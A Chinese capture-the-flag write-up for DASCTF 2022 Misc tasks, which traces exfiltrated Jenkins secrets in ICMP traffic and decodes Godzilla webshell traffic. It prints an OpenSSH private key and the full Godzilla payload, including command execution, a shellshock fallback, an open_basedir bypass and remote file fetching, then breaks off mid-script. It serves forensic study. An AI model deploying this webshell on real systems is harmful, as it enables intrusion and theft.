2022DASCTF X SU 三月春季挑战赛 ALL Misc&Web
0x01 Misc
月圆之夜
搜对照表:https://www.eso-tw.com/%E5%AE%A1%E5%88%A4%E5%B8%AD%EF%BC%88%E4%BC%AA%EF%BC%89%E7%A7%B0%E5%8F%B7%E6%95%B4%E7%90%86%E9%99%84%E9%AD%94%E6%97%8F%E6%96%87%E5%AD%97%E5%AF%B9%E7%85%A7%E8%A1%A8/
Hi!Hecker!
打开流量包看看,可以看到上传了一个jenkins_secret.zip,可以简单推测,main.py的功能是将数据进行发送,可以猜测是把jenkins_secret.zip发送至了172.17.0.1这个ip,那么想要提取文件直接跟下面的流就行了
这个流量包的下一个包就可以看见
把这个流提出来
因为是一个zip包,所以要删掉最开始多余的数据,还有末尾一堆1337133711333377
但是这里数据应该是分块传输的,比赛的时候只提出了这些,忽略了下面还有一个压缩包数据,里面有用master.key
可以看到这里应该拼接接上上一个数据包,这也是为什么直接binwalk也出不来master.key
一共有8个包,seq 1-8,icmp && icmp.type == 8 && icmp.seq < 9
这里为了方便直接用tshark处理了
tshark -r DASCTF.pcapng -T fields -e data.data -Y "icmp.seq<9 && icmp.type == 8" > 222.txt
去掉冒号,开头结尾的多余字符,转储解压
接下来就是经典找工具环节,找到
https://github.com/hoto/jenkins-credentials-decryptor
$JENKINS_HOME/credentials.xml
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
$JENKINS_HOME/jobs/example-folder/config.xml - Possible location
跟流量包提出的文件一模一样
./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c ../credentials.xml -o json
是github的sshkeys
再结合流量中的
可以判断需要将key手工修补,启动ssh-agent代理,ssh-add添加pem密钥,直接获得账号调用私有库的权限,最后gitclone就行了
修补一下,吧\n都删掉
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
这里试了一大顿,想起是linux和Windows结尾字符的差别,要转换一下就好了
git log
看一下提交记录
一个一个reset,恢复上一个版本git reset --hard 0084e77948215ec2abd031701ecbca87f1534264
,有了参数--hard,直接把工作区的内容也修改了,不加--hard的时候只是操作了暂存区,不影响工作区的,--hard一步到位,最后恢复出一个source,打开查看
什么奇奇怪怪的东西
万能网站查一下,下下来
https://fileinfo.com/extension/mrf
只看down和up中间的那个move轨迹
都看一下,得到密码397643258669
,然后可以解压压缩包,得到一个vhd文件,查了一下7z可以直接解压
得到4个文件,分别有一段神奇编码
图片扔winhex,发现是png 89504e47 的倒序
f = open('ZmxhZzQK.png','rb').read()
flag = ''
for i in f:
flag += str(hex(i)[2:].zfill(2))
print(flag[::-1])
保存为新图片
访问链接,又是一串字符
很好,卡住了 赛后看wp,发现是个叫Malbolge的语言,我还以为是个什么编码表要继续找东西呢
https://malbolge.doleczek.pl/
按照1234的顺序拼起来
'&B$:?8=<;:3W76/4-Qrqponmlkjihgfedcbawv{zyxwvutsl2poQmle+LKJIHGcE[`YX]V[ZSw:
9876543210/.-,+*)E'CB;:?>=<;4Xyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONML
KJIHGFED`B^]V[TYXWVUNrLQJONMLKDh+*)('&<A@?8=<;:92Vwvutsrqponmlkjihgfedcba`_^
]\[ZYXWVUTSRQPONMLKJIHGFEDCB^]?[ZYXWVUTSLpPImMLKDh+*)('&<A@?>=<;:92Vw5.32+*N
onmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('=BA
@?>=<;:32V65432r0/(Lmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876
543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIH
GFEDCBA@?>=<;:9876543210/.-,+*)('CBA:?>=<5:981Uv.32+0)Mn,+*)('~Dedcba`_^]\[Z
YXWVUTSRnPfkjihgf_d]#DC_X]\[ZYXWPt76543210/.-,+*)('&<A@?>7<;:981Uvutsrqponml
kjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBAW\[ZYXWPUTSRKoONMFKDhH*FEDCB;_"!~
}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJ`e^cba`_^]\Uy<;:98765432
10/.-,+*)('&%$#"!~}|{zyxwvutsrqp.-,+*)('&f|dc@a`_^]\[ZYXWVUTSRQPONMLKJIHGFED
CBA@?>=<;:9876543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWV
UTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjih
gfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"!~}|{z
yxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.
-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@
?>=<;:9876543210/.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSR
QPONMLKJIHGFEDCBA@?>ZSXWVOTSRKPINMFjW
DASCTF{1_l0v3_m1sc_s0_much!}
Au5t1n的秘密
打开一看,一堆404,一看就是扫目录流量
然后像是弱口令进了后台然后上传文件
往下翻翻,发现一个key
再翻翻
base64解一下
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='093c1c388069b7e1';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo encode(@run($data),$key);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
很明显是哥斯拉的马
可以看到首次连接的时候发了一个特别大的数据包
将data转字符串然后base64加密一下
解密:
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='093c1c388069b7e1';
$data = '';
$decode = encode(base64_decode($data),$key);
echo $decode;
要注意一点是这里断开了,别复制少了
也可以直接导出didi.php
key = '093c1c388069b7e1'
f = open('didi.php','rb').read()
for i in range(len(f)):
print(chr(f[i] ^ ord(key[i+1&15])),end='')
得到原PHP文件
<?php
$parameters=array();
$_SES=array();
function run($pms){
reDefSystemFunc();
$_SES=&getSession();
@session_start();
$sessioId=md5(session_id());
if (isset($_SESSION[$sessioId])){
$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
}
@session_write_close();
if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms);
}
formatParameter($pms);
if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
@bypass_open_basedir();
}
$result=evalFunc();
if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
@session_write_close();
}
if (canCallGzipEncode()){
$result=gzencode($result,6);
}
return $result;
}
function S1MiwYYr($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[($i+1)%15];
}
return $D;
}
function reDefSystemFunc(){
if (!function_exists("file_get_contents")) {
function file_get_contents($file) {
$f = @fopen($file,"rb");
$contents = false;
if ($f) {
do { $contents .= fgets($f); } while (!feof($f));
}
fclose($f);
return $contents;
}
}
if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
function gzdecode($data)
{
return gzinflate(substr($data,10,-8));
}
}
}
function &getSession(){
global $_SES;
return $_SES;
}
function bypass_open_basedir(){
@$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
$allFiles = @scandir($_FILENAME);
$cdStatus=false;
if ($allFiles!=null){
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
if (@is_dir($fileName)){
if (@chdir($fileName)===true){
$cdStatus=true;
break;
}
}
}
}
}
if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
@mkdir('bypass_open_basedir');
}
if (!$cdStatus){
@chdir('bypass_open_basedir');
}
@ini_set('open_basedir','..');
@$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
@$_path = str_replace("\\",'/',$_FILENAME);
@$_num = substr_count($_path,'/') + 1;
$_i = 0;
while($_i < $_num){
@chdir('..');
$_i++;
}
@ini_set('open_basedir','/');
if (!$cdStatus){
@rmdir($_FILENAME.'/'.'bypass_open_basedir');
}
}
function formatParameter($pms){
global $parameters;
$index=0;
$key=null;
while (true){
$q=$pms[$index];
if (ord($q)==0x02){
$len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
$index+=4;
$value=substr($pms,$index+1,$len);
$index+=$len;
$parameters[$key]=$value;
$key=null;
}else{
$key.=$q;
}
$index++;
if ($index>strlen($pms)-1){
break;
}
}
}
function evalFunc(){
try{
@session_write_close();
$className=get("codeName");
$methodName=get("methodName");
$_SES=&getSession();
if ($methodName!=null){
if (strlen(trim($className))>0){
if ($methodName=="includeCode"){
return includeCode();
}else{
if (isset($_SES[$className])){
return eval($_SES[$className]);
}else{
return "{$className} no load";
}
}
}else{
if (function_exists($methodName)){
return $methodName();
}else{
return "function {$methodName} not exist";
}
}
}else{
return "methodName Is Null";
}
}catch (Exception $e){
return "ERROR://".$e -> getMessage();
}
}
function deleteDir($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
@chmod($pf,0777);
if((is_dir($pf))&&($f!=".")&&($f!="..")){
deleteDir($pf);
@rmdir($pf);
}else if (is_file($pf)&&($f!=".")&&($f!="..")){
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
function deleteFile(){
$F=get("fileName");
if(is_dir($F)){
return deleteDir($F)?"ok":"fail";
}else{
return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
}
}
function setFileAttr(){
$type = get("type");
$attr = get("attr");
$fileName = get("fileName");
$ret = "Null";
if ($type!=null&&$attr!=null&&$fileName!=null) {
if ($type=="fileBasicAttr"){
if (@chmod($fileName,convertFilePermissions($attr))){
return "ok";
}else{
return "fail";
}
}else if ($type=="fileTimeAttr"){
if (@touch($fileName,$attr)){
return "ok";
}else{
return "fail";
}
}else{
return "no ExcuteType";
}
}else{
$ret="type or attr or fileName is null";
}
return $ret;
}
function fileRemoteDown(){
$url=get("url");
$saveFile=get("saveFile");
if ($url!=null&&$saveFile!=null) {
$data=@file_get_contents($url);
if ($data!==false){
if (@file_put_contents($saveFile,$data)!==false){
@chmod($saveFile,0777);
return "ok";
}else{
return "write fail";
}
}else{
return "read fail";
}
}else{
return "url or saveFile is null";
}
}
function copyFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (@is_file($srcFileName)){
if (copy($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}else{
return "The target does not exist or is not a file";
}
}
function moveFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (rename($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}
function getBasicsInfo()
{
$data = array();
$data['OsInfo'] = @php_uname();
$data['CurrentUser'] = @get_current_user();
$data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
$data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
$data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
$data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
$data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
$data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['disable_functions'] = @ini_get('disable_functions');
$data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
$data['Open_basedir'] = @ini_get('open_basedir');
$data['timezone'] = @ini_get('date.timezone');
$data['encode'] = @ini_get('exif.encode_unicode');
$data['extension_dir'] = @ini_get('extension_dir');
$data['sys_get_temp_dir'] = @sys_get_temp_dir();
$data['include_path'] = @ini_get('include_path');
$data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
$data['PHP_SAPI'] = PHP_SAPI;
$data['PHP_VERSION'] = PHP_VERSION;
$data['PHP_INT_SIZE'] = PHP_INT_SIZE;
$data['canCallGzipDecode'] = canCallGzipDecode();
$data['canCallGzipEncode'] = canCallGzipEncode();
$data['session_name'] = @ini_get("session.name");
$data['session_save_path'] = @ini_get("session.save_path");
$data['session_save_handler'] = @ini_get("session.save_handler");
$data['session_serialize_handler'] = @ini_get("session.serialize_handler");
$data['user_ini_filename'] = @ini_get("user_ini.filename");
$data['memory_limit'] = @ini_get('memory_limit');
$data['upload_max_filesize'] = @ini_get('upload_max_filesize');
$data['post_max_size'] = @ini_get('post_max_size');
$data['max_execution_time'] = @ini_get('max_execution_time');
$data['max_input_time'] = @ini_get('max_input_time');
$data['default_socket_timeout'] = @ini_get('default_socket_timeout');
$data['mygid'] = @getmygid();
$data['mypid'] = @getmypid();
$data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
$data['short_open_tag'] = @get_cfg_var('short_open_tag');
$data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
$data['asp_tags'] = @get_cfg_var('asp_tags');
$data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
$data['safe_mode'] = @get_cfg_var('safe_mode');
$data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
$data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
$SCRIPT_FILENAME=@dirname($_SERVER['SCRIPT_FILENAME']);
$data['FileRoot'] = '';
if (substr($SCRIPT_FILENAME, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";\}\};};
$data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
$data['FileRoot']= substr_count($data['FileRoot'],substr($SCRIPT_FILENAME, 0, 1))<=0?substr($SCRIPT_FILENAME, 0, 1).":/":$data['FileRoot'];
$result="";
foreach($data as $key=>$value){
$result.=$key." : ".$value."\n";
}
return $result;
}
function getFile(){
$dir=get('dirName');
$dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
$dir.="/";
$path=$dir;
$allFiles = @scandir($path);
$data="";
if ($allFiles!=null){
$data.="ok";
$data.="\n";
$data.=$path;
$data.="\n";
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
$fullPath = $path.$fileName;
$lineData=array();
array_push($lineData,$fileName);
array_push($lineData,@is_file($fullPath)?"1":"0");
array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
array_push($lineData,@filesize($fullPath));
$fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
array_push($lineData,(strlen($fr)>0?$fr:"F"));
$data.=(implode("\t",$lineData)."\n");
}
}
}else{
return "Path Not Found Or No Permission!";
}
return $data;
}
function readFileContent(){
$fileName=get("fileName");
if (@is_file($fileName)){
if (@is_readable($fileName)){
return file_get_contents($fileName);
}else{
return "No Permission!";
}
}else{
return "File Not Found";
}
}
function uploadFile(){
$fileName=get("fileName");
$fileValue=get("fileValue");
if (@file_put_contents($fileName,$fileValue)!==false){
@chmod($fileName,0777);
return "ok";
}else{
return "fail";
}
}
function newDir(){
$dir=get("dirName");
if (@mkdir($dir,0777,true)!==false){
return "ok";
}else{
return "fail";
}
}
function newFile(){
$fileName=get("fileName");
if (@file_put_contents($fileName,"")!==false){
return "ok";
}else{
return "fail";
}
}
function function_existsEx($functionName){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($functionName)&&is_callable($functionName)&&!in_array($functionName,$d));
}
function execCommand(){
@ob_start();
$cmdLine=get("cmdLine");
$d=__FILE__;
$cmdLine=substr($d,0,1)=="/"?"-c \"{$cmdLine}\"":"/c \"{$cmdLine}\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
$executeFile=substr($d,0,1)=="/"?"sh":"cmd";
$cmdLine="{$executeFile} {$cmdLine}";
$cmdLine=$cmdLine." 2>&1";
$ret=0;
if (!function_exists("runshellshock")){
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_existsEx('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
}
if(function_existsEx('system')){
@system($cmdLine,$ret);
}elseif(function_existsEx('passthru')){
@passthru($cmdLine,$ret);
}elseif(function_existsEx('shell_exec')){
print(@shell_exec($cmdLine));
}elseif(function_existsEx('exec')){
@exec($cmdLine,$o,$ret);
print(join("\n",$o));
}elseif(function_existsEx('popen')){
$fp=@popen($cmdLine,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(function_existsEx('proc_open')){
$p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(runshellshock($d, $cmdLine)) {
print($ret);
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($cmdLine);
$so=$e->StdOut();
print($so->ReadAll());
$se=$e->StdErr();
print($se->ReadAll());
}else{
return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock is available";
}
print(($ret!=0)?"ret={$ret}":"");
$result = @ob_get_contents();
@ob_end_clean();
return $result;
}
function execSql(){
$dbType=get("dbType");
$dbHost=get("dbHost");
$dbPort=get("dbPort");
$username=get("dbUsername");
$password=get("dbPassword");
$execType=get("execType");
$execSql=get("execSql");
function mysql_exec($host,$port,$username,$password,$execType,$sql){
// 创建连接
$conn = new mysqli($host,$username,$password,"",$port);
// Check connection
if ($conn->connect_error) {
return $conn->connect_error;
}
$result = $conn->query($sql);
if ($conn->error){
return $conn->error;
}
$result = $conn->query($sql);
if ($execType=="update"){
return "Query OK, "+$conn->affected_rows+" rows affected";
}else{
$data="ok\n";
while ($column = $result->fetch_field()){
$data.=base64_encode($column->name)."\t";
}
$data.="\n";
if ($result->num_rows > 0) {
// 输出数据
while($row = $result->fetch_assoc()) {
foreach ($row as $value){
$data.=base64_encode($value)."\t";
}
$data.="\n";
}
}
return $data;
}
}
function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
try {
$conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);
// 设置 PDO 错误模式为异常
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if ($execType=="update"){
return "Query OK, "+$conn->exec($sql)+" rows affected";
}else{
$data="ok\n";
$stm=$conn->prepare($sql);
$stm->execute();
$row=$stm->fetch(PDO::FETCH_ASSOC);
$_row="\n";
foreach (array_keys($row) as $key){
$data.=base64_encode($key)."\t";
$_row.=base64_encode($row[$key])."\t";
}
$data.=$_row."\n";
while ($row=$stm->fetch(PDO::FETCH_ASSOC)){
foreach (array_keys($row) as $key){
$data.=base64_encode($row[$key])."\t";
}
$data.="\n";
}
return $data;
}
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
if ($dbType=="mysql"){
if (extension_loaded("mysqli")){
return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$execSql);
}else if (extension_loaded("pdo")){
return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
}else{
return "no extension";
}
}else if (extension_loaded("pdo")){
return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
}else{
return "no extension";
}
return "no extension";
}
function base64Encode($data){
return base64_encode($data);
}
function test(){
return "ok";
}
function get($key){
global $parameters;
if (isset($parameters[$key])){
return $parameters[$key];
}else{
return null;
}
}
function getAllParameters(){
global $parameters;
return $parameters;
}
function includeCode(){
$classCode=get("binCode");
$codeName=get("codeName");
$_SES=&getSession();
$_SES[$codeName]=$classCode;
return "ok";
}
function base64Decode($string){
return base64_decode($string);
}
function convertFilePermissions($fileAttr){
$mod=0;
if (strpos($fileAttr,'R')!==false){
$mod=$mod+0444;
}
if (strpos($fileAttr,'W')!==false){
$mod=$mod+0222;
}
if (strpos($fileAttr,'X')!==false){
$mod=$mod+0111;
}
return $mod;
}
function close(){
@session_start();
$_SES=&getSession();
$_SES=null;
if (@session_destroy()){
return "ok";
}else{
return "fail!";
}
}
function bigFileDownload(){
$mode=get("mode");
$fileName=get("fileName");
$readByteNum=get("readByteNum");
$position=get("position");
if ($mode=="fileSize"){
if (@is_readable($fileName)){
return @filesize($fileName)."";
}else{
return "not read";
}
}elseif ($mode=="read"){
if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
$handle=fopen($fileName,"ab+");
fseek($handle,$position);
$data=fread($handle,$readByteNum);
@fclose($handle);
if ($data!==false){
return $data;
}else{
return "cannot read file";
}
}else if (function_existsEx("file_get_contents")){
return file_get_contents($fileName,false,null,$position,$readByteNum);
}else{
return "no function";
}
}else{
return "no mode";
}
}
function bigFileUpload(){
$fileName=get("fileName");
$fileContents=get("fileContents");
$position=get("position");
if(function_existsEx("fopen")&&function_existsEx("fwrite")&&function_existsEx("fseek")){
$handle=fopen($fileName,"ab+");
if ($handle!==false){
fseek($handle,$position);
$len=fwrite($handle,$fileContents);
if ($len!==false){
return "ok";
}else{
return "cannot write file";
}
@fclose($handle);
}else{
return "cannot open file";
}
}else if (function_existsEx("file_put_contents")){
if (file_put_contents($fileName,$fileContents,FILE_APPEND)!==false){
return "ok";
}else{
return "writer fail";
}
}else{
return "no function";
}
}
function canCallGzipEncode(){
if (function_existsEx("gzencode")){
return "1";
}else{
return "0";
}
}
function canCallGzipDecode(){
if (function_existsEx("gzdecode")){
return "1";
}else{
return "0";
}
}
function bytesToInteger($bytes, $position) {
$val = 0;
$val = $bytes[$position + 3] & 0xff;
$val <<= 8;
$val |= $bytes[$position + 2] & 0xff;
$val <<= 8;
$val |= $bytes[$position + 1] & 0xff;
$val <<= 8;
$val |= $bytes[$position] & 0xff;
return $val;
}
function isGzipStream($bin){
if (strlen($bin)>=2){
$bin=substr($bin,0,2);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
switch ($typeCode) {
case 31139:
return true;
break;
default:
return false;
}
}else{
return false;
}
}
function getBytes($string) {
$bytes = array();
for($i = 0; $i < strlen($string); $i++){
array_push($bytes,ord($string[$i]));
}
return $bytes;
}
这里先执行了gzencode,所以最后return的result和哥斯拉直接解密的result是不一样的,也就会导致后续的流量跟常规的哥斯拉不同,解密就加一个gzdecode就行了
一个一个找,找到这里
解密
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='093c1c388069b7e1';
